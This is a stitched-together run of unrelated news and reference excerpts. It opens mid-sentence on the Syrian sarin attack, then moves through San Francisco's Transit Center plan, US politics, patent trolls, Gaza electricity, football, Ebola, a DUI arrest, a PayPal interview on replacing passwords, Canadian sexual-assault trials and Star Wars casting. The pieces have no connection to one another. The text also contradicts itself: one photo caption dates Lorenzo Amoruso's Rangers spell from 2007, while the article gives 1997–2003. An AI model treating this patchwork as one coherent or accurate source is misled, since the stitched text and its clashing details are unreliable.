Which has not been in evidence."  Additionally, he said, the sheer volume of materials — many of them "exotic" — necessary to produce sarin makes it extremely unlikely that the rebels could have stockpiled it in a large enough quantity to kill dozens of people.  "Having a quantity of any of the nerve agents relies on a sophisticated supply chain of exotic precursors and an industrial base," Kaszeta wrote. "Are we to seriously believe that one of the rebel factions has expended the vast sums of money and developed this industrial base, somehow not noticed to date and not molested by attack?"
-The San Francisco Transit Center District Plan is a massive redevelopment plan for the neighborhood surrounding the Salesforce Transit Center site, South of Market near the Financial District in San Francisco.[8] The new Salesforce Transit Center (previously known as the Transbay Transit Center) has replaced the since-demolished San Francisco Transbay Terminal, and new skyscrapers, such as Salesforce Tower, take advantage of the height increases allowed through the Transit Center District Plan. The sale of several land parcels formerly owned by the state and given to the managing Transbay Joint Powers Authority helped finance the construction of the Transit Center.[9]  History [ edit ]  The original Transbay Terminal opened in 1939 as the San Francisco terminus for the Key System and other commuter trains that travelled across the new San Francisco–Oakland Bay Bridge to the East Bay. Train service to San Francisco was discontinued in 1958 and the Transbay Terminal was reconfigured for buses. Transbay train service would resume in 1974 with the opening of BART and the Transbay Tube, but the BART tracks were routed under Market Street, bypassing the Transbay Terminal. By the end of the 20th century, the Transbay Terminal was underused and rundown, handling an average of about 20,000 commuters per day.[10]  In 1985, San Francisco adopted the Downtown Plan, which slowed development in the Financial District north of Market Street and directed it to the area South of Market around the Transbay Terminal.[11] In the early 1990s, the Embarcadero Freeway was demolished following the 1989 Loma Prieta earthquake, freeing up numerous city blocks for development south of the Transbay Terminal. In 1995, Caltrain agreed to study extending its commuter rail service from its Fourth and King terminus closer to the Financial District, including whether the obsolete Transbay Terminal should be removed, remodeled, or rebuilt.[12]  Ultimately, it was decided that the Transbay Terminal should be rebuilt, with the rail extension entering the Terminal under Second Street. In 1996, then-San Francisco Mayor Willie Brown issued the idea of redeveloping the earthquake-damaged Transbay Transit Center. To that end, Brown tapped his then-new deputy Mayor Maria Ayerdi Kaplan to head the project. Kaplan created, and then became executive director of, the Transbay Joint Powers Authority in 2008.[13]  To finance the projects and promote development in the area, the Transbay Redevelopment Plan was adopted by the City of San Francisco in June 2005. By raising a number of building height limits and selling former freeway parcels, the plan envisions the development of over 2,500 new homes, 3 million square feet of new office and commercial space, and 100,000 square feet of retail.[9]  Developments [ edit ]  Salesforce Transit Center [ edit ]  Designed by Pelli Clarke Pelli, the new Salesforce Transit Center replaced the former Transbay Terminal at a cost of roughly $2 billion USD[14] and has been dubbed the "Grand Central Station of the West" by proponents.[15] The new center is planned to eventually include an extension of Caltrain into the station from the current Caltrain Depot at 4th and King Streets in Mission Bay via tunnels which would also carry the Bay Area segment of the future California High-Speed Rail (CAHSR) and terminate at the station, as mandated by California voters in Proposition 1A, the ballot measure authorizing CAHSR construction. This extension would cost an additional $2-4 billion and is currently unfunded.[16]  Salesforce Transit Center construction site.  The Transit Center currently has three levels plus a 5.4-acre (2.2 ha) public rooftop park. The ground level is the street entrance to the Transit Center. Above that are administrative offices, retail shops, restaurants, and the Amtrak/Greyhound waiting room. The final indoors level services Transbay buses from San Francisco's Muni, the East Bay's AC Transit, and WestCAT, as well as long-distance buses operated by Greyhound and Amtrak Thruway.[17] Future Caltrain and HSR service would utilize two underground levels, the lower of which would house the tracks and platforms, and the upper of which would house a retail concourse and waiting areas.  Salesforce Tower [ edit ]  Adjacent to the Transit Center and at the center of the redevelopment effort is a signature skyscraper at First and Mission Streets. The proposal featured plans from several major architecture firms including Skidmore, Owings & Merrill, Richard Rogers Partnership, and Pelli Clarke Pelli Architects. Eventually the plan from Pelli Clarke Pelli Architects was picked.[18] The original plans from Pelli Clark Pelli Architects called for a 1,200-foot (370 m) tower as the main tower and a massive three-block-long Transbay Center. However, due to considerations about how the tower would cast a shadow over some of the city's parks, the height was eventually reduced to 1,070 feet (330 m).[19][20]  The designs to the supertall tower changed during its planning phase, its final design eventually incorporates slits at each side of its angular top along with an altered terminal station design.[21] However some of the original design cues were later restored and reincorporated due to complaints about the design modifications.[22] The tower and the new terminal is now under construction with groundbreaking on March 27, 2013.[23]  Increased height limits [ edit ]  With the adoption of the Transit Center District Plan in 2012, height limits were raised for several parcels in the vicinity of the Transit Center.[24] Among the parcels zoned for taller buildings are 50 First Street, 181 Fremont Street, 350 Mission Street, Golden Gate University's campus at 536 Mission Street, the proposed Palace Hotel Residential Tower, and the Salesforce Tower site.  Former freeway parcels and bus ramps [ edit ]  Following the 1989 Loma Prieta earthquake, the Embarcadero Freeway was torn down, opening up a number of blocks for development. Several other parcels, near Beale and Howard streets, were used for the East Loop Ramp of the Transbay Terminal and are not needed for the new Transit Center.[25] In 2007, the state of California officially agreed to transfer the state-owned parcels to the City and County of San Francisco.[26]  The former freeway parcels are located mostly along the north side of Folsom Street between Essex and Spear and have been zoned for residential use.[27] Other lots, called Parcel F, Parcel M, and Parcel T, have been zoned for office buildings.[28] Parcel T is the site of Salesforce Tower. As of 2013, Transbay Joint Powers Authority has accepted proposals for Blocks 6/7 and Block 9.[29][30] The first parcel developed was Block 11, also known as the Rene Cazenave Apartments, an affordable housing project located at 25 Essex Street.[31]  Parcel[27] Zoning Sold Price Use Location Reference Block 1 Residential 2016 $50.18M 400-foot Folsom Bay Tower with 391 units, including 156 affordable-rate [32] Block 2 Residential Temporary Transbay Terminal Block 3 Park — — Temporary Transbay Terminal; Slated to become Transbay Park Block 4 Residential Temporary Transbay Terminal Block 5 Residential 2015 $172.5M Although zoned for residential, will become Park Tower at Transbay office building 250 Howard Street [33][34] Block 6 Residential 2013 $30M 300-foot tower with 409 market-rate units and 70 affordable units 299 Fremont Street [35][36][37][38] Block 7 Residential 2013 — 77 units to be built by Mercy Housing Block 8 Residential 2014 $72M 550-foot, 740-unit residential tower [39] Block 9 Residential 2013 $43.32M 400-foot, 563-unit residential tower under construction 500 Folsom Street [40] Block 10 Park — — Planned Transbay Terminal Under Ramp Park [41] Block 11 Residential 2011 — 120-unit Rene Cazenave Apartments 25 Essex Street [31] Block 12 Residential Parcel F Commercial Office 2016 $160M 61-story, 800-foot tower, with 16 floors of offices, a 220-room hotel, and 175 condos [42][43] Parcel M Commercial Office Parcel T Commercial Office 2013 $191.8M Salesforce Tower 415 Mission Street [44]  Pictures [ edit ]  Downtown San Francisco, showing Millennium Tower (301 Mission St) center, behind it left the Salesforce Tower (under construction), far left top the 181 Fremont Street Tower (under construction), and foreground the cranes for the Park Tower (under construction) in front of the bare structure of the Transbay Terminal (under construction). From the parking lot of the Providian Financial Building / 201 Mission St, on Howard between Beale and Main.  See also [ edit ]
-It took five simple sentences for President Obama to destroy the myth of a divided Democratic Party while speaking at the White House.  Video:  Transcript via The White House:  Q And on Sanders dropping out?  THE PRESIDENT: I think on the Democratic side, let’s let the process play itself out. You mentioned the delegate math. I think everybody knows what that math is. I think Senator Sanders has done an extraordinary job raising a whole range of issues that are important to Democratic voters as well as the American people, generally. And I know that at some point there’s going to be a conversation between Secretary Clinton and Bernie Sanders about how we move towards the convention.  The good news is that despite the fact that during the course of primaries everybody starts getting a little chippy — I’ve been through this, it’s natural, sometimes even more with the staffs and supporters than with the candidates themselves — the good news is, is that there’s a pretty strong consensus within the Democratic Party on the vast majority of issues.  There’s some disagreement about tactics. There’s some disagreement about political strategy or policy nuance. But both Secretary Clinton and Bernie Sanders believe that every American should have health care. So do I. Both candidates believe that we should be raising the minimum wage. Both candidates believe that we should invest in our infrastructure and put more people back to work. Both candidates believe that we should pass a comprehensive immigration reform policy that makes sure we’re enforcing laws and improving our legal immigration system and making sure our borders are secure, but also that we continue to enjoy the incredible boost that we get from attracting talent from all around the world. Both candidates agree that we should be prudent in terms of how we use our military and that we should care for our veterans when they come home.  So if you look at 95 percent of the issues, there’s strong agreement there. You don’t see the same kinds of divisions between the two Democratic candidates that remain that you’ve been seeing in some of the Republican debates.
-US President Donald Trump will unveil a more aggressive strategy against Iran (AFP)  US President Donald Trump will unveil a more aggressive strategy against Iran on Friday but is expected to stop short of withdrawing from the landmark 2015 nuclear deal.  Officials say he will not kill the international accord outright, instead "decertifying" the agreement and leaving US lawmakers to decide its fate.  During a White House speech, Trump will declare the 2015 agreement - which curbed Iran's nuclear program in return for sanctions relief - is no longer in the US national interest.  Trump had repeatedly pledged to overturn one of his predecessor Barack Obama's crowning foreign policy achievements, deriding it as "the worst deal" and one agreed to out of "weakness."  The strategy will seek to shield Israel from Iran's "unrelenting hostility" and counter the threat to all US interests and allies from Iran's proxy forces, ballistic missile development and eventual nuclear ambitions.  Iran Warns US Against Labeling Revolutionary Guards as Terrorists  German Foreign Minister Warns U.S. Against Abandoning Iran Nuclear Deal  But the plan as outlined by the fact sheet does not envisage Washington pulling out of the Iran deal's Joint Comprehensive Plan of Action or JCPOA.  Indeed, "the deal must be strictly enforced, and the IAEA must fully utilize its inspection authorities."  Since coming to office, Trump has faced intense lobbying from international allies and his own national security team, who argued the deal should remain in place.  In another partial climb-down, Trump is also expected to levy limited sanctions against the Revolutionary Guards, rather than invite retaliation by designating it as a terrorist organization.  The outcome "probably reflects more some of the divisions and debates within the administration," said former US Middle East envoy Dennis Ross.  Return to sanctions?  Trump's gambit could risk undoing years of careful diplomacy and increase Middle East tensions.  UN nuclear inspectors say Iran is meeting the technical requirements of its side of the bargain, dramatically curtailing its nuclear program in exchange for sanctions relief.  Iranian President Hassan Rouhani lashed out at his US counterpart, saying he was opposing "the whole world" by trying to abandon a landmark nuclear agreement.  "It will be absolutely clear which is the lawless government. It will be clear which country is respected by the nations of the world and global public opinion," he added.  Congress must now decide whether to end the nuclear accord by "snapping back" sanctions, which Iran demanded be lifted in exchange for limiting uranium enrichment.  Many lawmakers are waiting to see how Trump presents the choice before deciding whether to keep or torpedo the agreement.  In a statement to AFP, leading Republican Senator Marco Rubio described the accord as "fatally-flawed" and said he was open to legislation that would "substantially improve America's ability to counter Iran's nuclear, terrorism, militancy and regional threats."  Allies warn against ditching deal  Trump has been railing against the Iran deal since before he was elected in November last year.  In office, he has chafed at being required under US law to re-certify Iran's compliance with the accord every 90 days, declaring that Tehran has broken it "in spirit."  The other signatories to the deal have urged Washington not to let it fall apart.  The Kremlin warned Washington on Friday that abandoning the Iran nuclear deal would be a heavy blow to international relations and non-proliferation efforts.  "This could seriously aggravate the situation around the Iranian nuclear dossier," President Vladimir Putin's spokesman Dmitry Peskov told journalists.  Read more: From Iran to UNESCO: Trump's Withdrawal Doctrine  "Such actions will unequivocally damage the atmosphere of predictability, security, stability and non-proliferation in the entire world."  China also issued a statement which called on all parties to "preserve and implement this deal."  "We believe this deal is important to ensuring the international nuclear nonproliferation regime and regional peace and stability", foreign ministry spokeswoman Hua Chunying said.  Secretary of State Rex Tillerson spent much of the week on the telephone, talking through a decision that is deeply unpopular with allies.  Europe fears not only that Iran will resume the quest for the bomb but that the US is relinquishing its leadership role in a stable, rules-based international system.  Separately, Russian Foreign Minister Sergei Lavrov, speaking to Iranian Foreign Minister Mohammad Javad Zarif by phone, expressed Moscow's "full commitment" to the Iran nuclear deal, known as the Joint Comprehensive Plan of Action, the foreign ministry said on Friday.  The agreement was signed between Iran and six world powers - Britain, China, France, Germany, Russia and the US - at talks coordinated by the European Union.
-Will 2014 bring the death of the patent troll?  In an effort to protect businesses from frivolous patent lawsuits, the House of Representatives recently passed a bill called the Innovation Act by a vote of 325-91. What’s more, the bill passed within two months of being introduced. Soon afterward, the Supreme Court agreed to hear a case that revisits the section of patent law concerning what exactly can be patented in the United States. And this comes just two years after President Barack Obama signed the America Invents Act, which, despite criticism, instituted the greatest reform to the system in nearly 60 years.  Why so much attention to patent reform in such a relatively short period of time? Because “patent trolls” — companies that exist solely to acquire patents and then sue other companies for infringement — are filing more lawsuits than ever, more than 3,000 in 2012 alone. The typical targets are tech companies, startups and multinational corporations, because of the software they use, but brick-and-mortar businesses also get sued. And these companies say all this litigation, or even the threat of it, is severely hampering innovation and dramatically increasing the cost of doing business.  But the problems with the patent system aren’t just with the legal process. Getting a patent in the United States is surprisingly easy. And it’s this ease of acquisition that’s led to a vast amount of patents with no value as innovations.  There’s a patent on sending hyperlinks to mobile phones. There’s one for displaying images on websites and one on serving personalized ads over the Web. Even if the patents weren’t originally intended to cover these ubiquitous technologies, they can be claimed as such because they employ broad, vague language that a lawyer can use to make the case for infringement. David Martin, the founder of M-Cam, a company that analyzes patents to assess their value, believes that about one-third of all active patents fall into this category.  So the patent system is deeply flawed and the U.S. government is trying to fix it. What follows is a look at the problems and the proposed reforms through one patent’s journey from idea to issuance, and then litigation.
-GAZA CITY (Ma'an) -- Gaza's sole power plant is to be supplied with fuel on Sunday after more than a month-long closure when the Gazan energy authority ran out of funding.  Nathmi Muhanna, PA Director of Border Crossings in the Gaza Strip, said that 10 trucks carrying 400,000 liters of fuel would be passing though the Kerem Shalom commercial crossing on Sunday, and that a regular supply of fuel would be resumed during the week.  Jamal Dardasawi, a spokesman for Gaza's energy authority, said that while he could not be certain of the plant's energy output until the fuel arrived, it was expected that the company would be able to supply up to eight hours of electricity to Gazan residents after Sunday.  On Mar. 2, the Hamas-run energy authority closed the plant after they were unable to afford the taxes demanded by the PA for importing fuel into besieged Gaza.  In December last year, Qatar stepped in and donated $10 million to the PA to cover the tax, effectively exempting Hamas from paying it, but by March that money dried up.  The plant requires 550,000 liters of fuel per day to produce at capacity, the energy authority says.  Even with the plant running, Gaza has only been able to supply about 12 hours of electricity to residents each day, and that it was believed that would fall to just 6 hours after the plant's shutdown.  Gaza's energy authority has been plagued by supply problems due to the Israeli blockade, in place since 2007 and upheld by Egypt, as well as devastation caused by war.  Last summer the plant was targeted during the 50-day Israeli offensive on Gaza, completely knocking it out of commission. The Gaza power authority said at the time that the damages from the attack could take up to a year to fix completely.  Both Israel and Egypt also feed electricity into Gaza, but the extent of this supply is severely limited as part of the blockade.  Many individual homes have their own generators, and households can purchase, expensively, fuel that comes into Gaza for private consumption.
-Italian centre-half Lorenzo Amoruso played more than 200 matches for Rangers over six seasons from 2007  Lorenzo Amoruso described his joy at Rangers' promotion to the Premiership as that of "a kid that gets to go out in the countryside and play football".  The Italian, a fans' favourite in his six seasons at Ibrox from 1997-2003, said: "To see my old club back in the Premiership is absolutely fantastic.  "I think what happened a few years ago was not the best choice for Scottish football but I didn't make the decision, someone else did.  "I'm delighted they are back again."  The "choice" the former defender was referring to was a vote in July 2012, by 10 of the 12 Scottish Premier League teams, against an application from the new company running Rangers to play in the top tier.  With the SPL no longer an option, 25 out of 30 Scottish Football League teams then voted in favour of Rangers being admitted to the bottom division.  Amoruso told the BBC's World Service: "Starting from the first day everyone did a fantastic job but I must say this is not the end, it's just the beginning. I would like to see Rangers back on top again.  "You can't think about Rangers having a season where they are just surviving in the Premiership - Rangers isn't about that.  "Don't get me wrong, they need to invest but they have done extremely well so you shouldn't change lots of things.  "Rangers have a massive name, an unbelievable history and fantastic support so there are three great reasons why Rangers should start the league trying to win it.  Skipper Lorenzo Amoruso carries the 1999-2000 Scottish Premier League trophy  "I'm sure most Celtic supporters probably didn't really enjoy the last four years. No disrespect to the other clubs but without Rangers the league definitely is not the same."  Asked about his passion for the Ibrox club, Amoruso, 44, said: "I never left Rangers, trust me; my body left Rangers.  "But my heart and my brain is always there, that's the way I feel."
-The case adds yet another terrifying layer to the Ebola outbreak: A Scottish nurse who recovered from Ebola 10 months ago has been rehospitalized and is now critically ill, the Royal Free Hospital in London reported Wednesday.  Scientists have long known that the Ebola virus can persist for months in certain tissues of the body that are relatively protected from the immune system, including the eyes and the testes.  A report published Wednesday in The New England Journal of Medicine, for instance, found traces of Ebola in some men’s semen up to nine months after they fell ill. Another report in the same journal presented additional evidence that an Ebola survivor in Liberia had transmitted the disease to a sexual partner roughly six months after having developed symptoms.  Yet the case of the nurse, Pauline Cafferkey, points to how much is still unknown about the virus and its long-term effects.
-ST. PETERSBURG (CBSMiami/AP) — A Florida man is now facing a DUI charge after a deputy rear-ended him, according to authorities.  The Pinellas County Sheriff’s Office reports that 24-year-old Yorgo Papagiani was approaching a St. Petersburg intersection Thursday night when he stopped abruptly at a red light. Deputy Brandon Lundy had been following Papagiani’s car and was unable to stop and avoid a crash.  Authorities say Lundy and Papagiani were both hospitalized with injuries that weren’t considered life-threatening. Investigators said Papagiani showed signs of impairment and refused to submit to a blood test while at the hospital.  After his release from the hospital, Papagiani was arrested and charged with driving under the influence, driving with a suspended license, marijuana possession and refusal to submit to blood test.  Papagiani was released Friday on $10,300 bail. Jail records didn’t list an attorney.  (TM and © Copyright 2015 CBS Radio Inc. and its relevant subsidiaries. CBS RADIO and EYE Logo TM and Copyright 2015 CBS  Broadcasting Inc. Used under license. All Rights Reserved. This material may not be published, broadcast, rewritten, or  redistributed. The Associated Press contributed to this report.)
-How many passwords do you have? Probably more than you can easily remember or comfortably manage on your own. And I’m willing to bet that you dread coming up with new ones when you sign up for something online.  Jonathan LeBlanc of PayPal is on a mission is to replace the password with something more secure and easier to use.  He’s not a head-in-the-clouds dreamer or theorist, either. LeBlanc is head of developer advocacy for PayPal and Braintree, and has an abiding interest in security, identity, and social technologies. He’s also the author of Programming Social Applications and helped architect the developer authentication technology used by companies like PayPal and Yahoo.  At POSSCON 2015, LeBlanc will be giving a talked titled Kill All Passwords. I spoke to him to learn more about what’s wrong with the password and what can replace it.  What’s the problem with passwords?  The problem itself isn’t necessarily the password. The problem is that human beings are horrible at creating passwords that have any measure of complexity. If we look at the statistics on leaked passwords in 2014, approximately 5% of all people use password as a password. About 10% of the population uses either password, 123456, or 12345678. If we look at the top 1,000 leaked passwords, those account for 91% of leaked passwords.  We can build systems to perform device fingerprinting, location verification, and identification through usage habit identification, but all of that becomes secondary if password choices are weak.  How did we get to this point with passwords?  We’re human. We are inundated with technology and accounts day in and day out, and most people will choose a password that they can easily remember. That makes sense, but no matter how much we tell people that their password choices are incredibly insecure, people will still continue to use weak passwords and the same password on all of their accounts. We got to this point because we expected people to pick a convoluted series of multi-case characters, numbers, and symbols that means nothing to them in order to secure their accounts.  How did you get involved in this drive to kill the password?  This came naturally with the work that I have been involved in within the security and identity industry. About six years ago, when I was working at Yahoo, I was working with their OAuth 1 (later 1.0a) and OpenID integrations as well as some of the more experimental authentication technology that was used for their social logins and social application environment. This gave me my first real foray into some of the security architecture behind a login and has led to me helping to architect the authentication systems behind the PayPal developer products.  What I realized throughout all of this is that there is a fine line between the security of the systems and the usability of the systems. We had to find a balance where the user was protected as much as possible, but we were also able to give them an easy experience. This drive towards password-less authentication is an evolution of that.  Is there a way to make passwords secure that’s easy for everyone?  Absolutely. On the consumer side, password manager systems like 1Password or LastPass are becoming more prevalent and allow you to only remember one master password. Beyond that, your other accounts can have highly secure passwords that you have no way of remembering, and the system just remembers for you. Both personally and professionally, I use 1Password.  On the system side, we can further bring security to users by employing device and browser fingerprinting, region detection, and identification based on typical usage habits, all without the user having to be impacted the additional levels of security.  What can replace the password?  If we break down the concept of a username and password, they are an identification of who you are (the username) and then a verification of that fact with something that only you should know (the password). Any technology that provides these facilities can do that, so it’s not so much about keeping the username and changing the password, but really just about picturing these systems in a different way.  How will open source technologies play a role in replacing passwords?  On the data security side, to further secure username/password authentication, you have a number of open source key hashing and salting implementations. When used properly, they allow for the secure storage of user information, including those passwords.  Authentication and authorization technologies like OAuth 1.0a, OAuth 2, and OpenID Connect all provide a more secure implementation for logging a user in and allowing applications to do things on their behalf. They do more than secure information like passwords back and forth between an application and the login host.  As we start to explore biometrics, wearables, embeddable, and other technologies, they potentially become another factor in telling a system who you are. They can use multiple authentication factors to turn that into a valid login. Open source hardware, especially microcontrollers and sensors, is being used to build these next generation prototypes.  How secure are those technologies?  It really depends on what you’re trying to secure.  Let’s look at hashing for password security first. General purpose hash algorithms like MD5 and SHA1 are built for speed—to be able to handle as much data as possible in as short a time as possible. The problem with using those in password security is that since an attacker can’t reverse the hash, they might simply launch a brute force attack with different potential inputs until they generate the correct hash. The faster the hashing algorithm, the more viable this attack is.  Algorithms like bcrypt and PBKDF2 use a technique called key stretching. They allow you to determine how expensive (in terms of time and/or size) the hash function will be. We choose to make the decryption slower to prevent these potential attacks, but still make it fast enough to not impact a valid user. These algorithms are slow, but incredibly strong and secure.  With biometrics, one concern is something called a false positive rate. That’s how often an invalid user is seen as a valid user, and allowed access. Since most new studies on biometric authentication vary wildly, it’s difficult to determine exactly just how secure most of them are. Biometrics are a great mechanism for identifying you, but a second factor of authentication is needed. Of course, some biometrics sources are far superior than others when it comes to having low false positive rates. For instance, vein recognition technology, which measure vein uniqueness through blood flow, offers a higher level of security than fingerprint identification.  Which is the most promising of these technologies?  The work being done within the realm of biometrics through wearables, embeddables, injectables, and ingestibles, has a lot of promise. Realistically, it’s going to be the wearable devices and computers that maintain short term advances, as anything in the embeddable realm is not really seen as culturally acceptable by most of the population.  I think what we’re going to see are numerous mechanisms around personal identification, which uses a second factor of authentication that is accessible and known to the user, in order to target the username and password for potential dismissal. This realm, and the technology that powers it, is currently being explored in commerce, medical applications, and a number of other industries.  Where else are these technologies being used?  A lot of the work that is being done with the future of biometrics is coming from the commerce and medical industries.  Within PayPal, for instance, we’re working with partners who are building vein recognition technology, heart beat identification bands. We’re also part of the board of the FIDO Alliance, which seeks to create a unified specification for the future of identification. Within the medical industry, we’re seeing embeddable sensors and wearable computers as some of the first human-incorporated technology of a new potential future identity.  Are humans still the weakest link in the chain?  Yes, humans will always be the weakest link because the vast majority will always choose the path of least resistance over the one that provides them the most security. Really, though, technology implementations are just as much to blame in many cases. Secure methodologies, such as using a complex password that is not easy to guess, means that the person has to remember something that is meaningless to them, and it’s much harder to have our brains remember something that has no association to anything else.  Technology such as key managers, and others such as biometrics, are on the right path. The correct solution is to find the most secure way of providing authentication for the user without putting the onus on them for remembering the complexities of that authentication.  When do you see the password dying (if ever)?  The password won’t die, it will just change. Much of the identification technology that is being worked on in internet security, biometrics, or elsewhere, is looking at what a username and password actually are: identification of who you are and verification of that. Biometrics triggered through wearables, embeddables, or ingestible, second factor authentication systems, and many other technologies, are all rising to meet this challenge.  POSSCON 2015  Speaker Interview  This article is part of the Speaker Interview Series for POSSCON 2015. The Palmetto Open Source Conference is a technical conference focused on open technology and the open web. POSSCON takes place in Columbia, SC from April 14-15, 2015.
-People who say they were raped are called liars, drunks, druggies, sluts, flirts, teases — not by trolls on social media but by robe-clad lawyers in court.  To a degree, that’s the lawyers’ job: An adversarial court system and the right of every accused person to a fair trial means the vast majority of sex assault cases come down to what Dalhousie University law professor Elaine Craig calls “contests of credibility.”  But there’s a difference between credibility contests and character assassination, she says.  “Inevitably, there’s going to be a tension between protecting the rights of the accused and making the sexual assault trial process less brutal for complainants. But I do not think that aggressive, bullying, stereotype-invoking cross examinations are inevitable.”  In Canada right now, however, it is not unusual: Craig’s paper for the University of Toronto Law Journal outlines in often graphic detail the ways complainants in rape cases are derided, ridiculed and scrutinized in cross-examinations.  WATCH: Former CBC radio host Jian Ghomeshi faces sexual assault charges.  “There is some empirical evidence to suggest that we all continue to think on the basis of certain outdated social assumptions,” Craig said — that a women’s sex life, the amount of alcohol she drank or the way she was dressed indicate her likelihood of consenting to sex.  That tussle over credibility will likely be on full display during the trial of former CBC radio host Jian Ghomeshi, who is charged on four counts of sexual assault and one of overcome resistance – choking. He has pleaded not guilty to all charges.  In many sex assault cases, what’s at issue is not so much whether the activity took place but whether it was consensual. The case will then rest on whose story the judge believes.  READ MORE: Why don’t women report rape? Because most get no justice when they do  When is a judge’s intervention ‘inappropriate’?  The persistence of specious stereotypes in the way we perceive consent, coercion and sexual violence was on display in the commentary of Alberta Justice Robin Camp, who asked a sexual assault complainant why she hadn’t kept her knees together.  But while that’s a somewhat extreme case, skepticism toward rape accusations and scrutiny of accusers is hardly unique.  Last year an Alberta trial judge stopped a defence counsel from using a complainant’s alleged drug use and purportedly flirtatious behaviour to diminish her credibility — behaviour the judge called “unnecessarily confrontational” and “out of hand” — only to have the defendant’s conviction overturned by the Alberta Court of Appeal on the grounds that the judge’s interjections were unfair.  Interrupting the defence counsel’s questions about whether the woman had been flirting, drinking or high on marijuana was “inappropriate,” “amounted to advocacy on behalf of the Crown,” and “deprived the appellant of the possibility of using this point to test it the complainant’s credibility,” the ruling said.  Justice Russell Brown, one of the two judges behind that majority decision, was appointed to the Supreme Court in July.  (Full disclosure: One of the other judges in that case is related to this reporter. She gave a dissenting opinion in R v. Schmaltz. She does not discuss her work.)  Craig worries that judicial rebuke and overturned conviction will make judges think twice before intervening in an aggressive cross-examination.  “The Schmaltz case … has the potential to dis-incentivise trial judges from taking reasonable and appropriate measures to protect complainants from unnecessarily aggressive cross examination.”  JIAN GHOMESHI TRIAL: What you need to know as the trial begins  An effective defence  None of this is to say that lawyers for people accused of rape shouldn’t mount strenuous, principled defences.  “Certainly I’ve read transcripts where defence counsel engaged in an effective cross examination, where their client was acquitted, where credibility of the complainant was at issue and they managed to impugn or attack that credibility without engaging in bullying cross-examination.”  Margaret Bojanowska, a Toronto-based criminal defence lawyer who specializes in sexual assault cases, says she’ll zero in on inconsistencies in a complainant’s story, rather than her clothing or character.  “If you’re meticulous, you will find there’s inconsistencies.”  She’s also wary of having her line of questioning “shot down” by judges.  “I try to stay away from the stereotypes: If the Crown doesn’t object, stop me from asking those questions, then most judges will,” she said.  “I can’t ask questions like, ‘Were you wearing a short skirt?’ Because it doesn’t matter. I’ll get shot down immediately.”  Substance use is a legitimate line of questioning as it pertains to a story’s reliability, both Craig and Bojanowska said.  The alcohol you drank or the drugs you consumed could be relevant in determining how well you can remember a sequence of events — but not in questioning your ethics or promiscuity.  “A judge would want to know if a complainant was intoxicated,” Bojanowska said.  So how do you maintain robust defences without victimizing victims?  Shield laws were supposed to help: Put in place in 1992, they preclude lawyers from using a person’s sexual history to demean, humiliate or intimidate her. (You are allowed to use it for other purposes.)  Canada’s affirmative definition of consent, formally adopted in 1998, also means that not saying “No” doesn’t mean a person consented to sex.  And judges can deem certain evidence or lines of questioning irrelevant to the case.  But Craig also thinks defence lawyers have an ethical obligation not to “whack” complainants.  “Defendants in Canada don’t have a constitutional right to every defence possible. They don’t have a constitutional right to trade in stereotypes.”  READ MORE: ‘I needed to know it wasn’t my fault’  The cost of the status quo  Not changing the atmosphere has impacts beyond the individuals on the stand, Craig said: Fear of being pilloried, of not being believed, can make survivors of assault reluctant to come forward at all.  “We do have data that suggests one of the main reasons women don’t report sexual assault is fear of the criminal justice process. And that would include fear of being wacked on the stand,” Craig said.  “I think that’s a legitimate concern.”  And we know they don’t come forward: 23 per cent of sexual assault charges in 2011-12 adult criminal court resulted in a guilty verdict, according to Statistics Canada.  And that’s only the cases that go to trial. Many, many more never make it that far.  Women reported being victims of 472,000 sexual assaults in 2009, according to Statistics Canada’s General Social Survey; men, 204,000. Yet police-reported crime statistics for that year show barely 21,000 incidents of sexual assault, and 7,951 persons charged.  In its efforts to change that, Ontario has launched a pilot program that provides legal aid to prepare sexual assault complainants for trial. “Lots of complainants think the Crown is their lawyer,” Craig said. But it isn’t.  (Bojanowska, for her part, is “not sure a complainant actually needs his or her own lawyer.”)  Pursuing justice following a sexual assault can be arduous under the best circumstances: You’ll tell your story at least four times — to a sexual assault nurse, to police, to a preliminary inquiry, to court — before the defence’s cross-examination begins.  “By the time they’re cross-examined, they’ve already given four statements about what’s happened over the course of several years,” Craig said.  “Imagine trying to remember — was is three beers, or four? Were your panties pink, or were they yellow?”  Craig would also like to see better education for judges — on substantive sex laws as well as social mores.  “The bottom line is that we still operate in a context where the legacy of disbelief of those who allege sexual violation continues to inform our responses,” she said.  “So that’s a big challenge.”  WATCH: Ghomeshi trial preview
-A while ago, fan art from BossLogic showed what Rosario Dawson would look like as Ahsoka Tano – and when this was brought to the actress’s attention, she commented that she’d love to play the character if such an opportunity arose. Now, it’s come to light that Dawson’s continued her campaign to portray the character and is in full support of online fans who are pushing for Lucasfilm to give her such an opportunity.  Dawson recently had an appearance on Good Morning America to promote her upcoming thriller Unforgettable. During the show, the subject of Marvel Comics came up due to her involvement as Claire Temple in all of the Netflix shows – and while she was on the subject of Disney’s genre entertainment, she brought up a little bit on Star Wars: that she’s still interested in playing Ahsoka if Lucasfilm are looking to use the character in a movie.  In case you missed it, here’s the BossLogic fan art showing what Dawson would look like as Ahsoka between The Clone Wars and Rebels that piqued her interest in the character:  The door is certainly open for Ahsoka to make another appearance past Rebels, but it doesn’t seem like another movie announcement is immediately on the cards considering that they opted not to reveal so much as a date for the third Anthology film. Assuming that Ahsoka lives (and make no mistake, she’s still alive) into or after the Original Trilogy era, one could make the case that you could have Dawson portray the character at that age since their ages match up around that point. Having her play Ahsoka before then on the timeline would be a harder sell from a visual standpoint (as you’d have to get into the whole Dawson’s Creek problem where you’ve got an adult portraying a teenage/young adult character), but there’s more room to tell a story with the character there. Either way, we at SWNN would love to see Dawson portray this character in live-action as long as she’s got Ashley Eckstein’s blessing.  Grant has been a fan of Star Wars for as long as he can remember, having seen every movie on the big screen. When he’s not hard at work with his college studies, he keeps himself busy by reporting on all kinds of Star Wars news for SWNN and general movie news on the sister site, Movie News Net. He served as a frequent commentator on SWNN’s The Resistance Broadcast.  Click HERE to check out and comment on this topic in our forum The Cantina
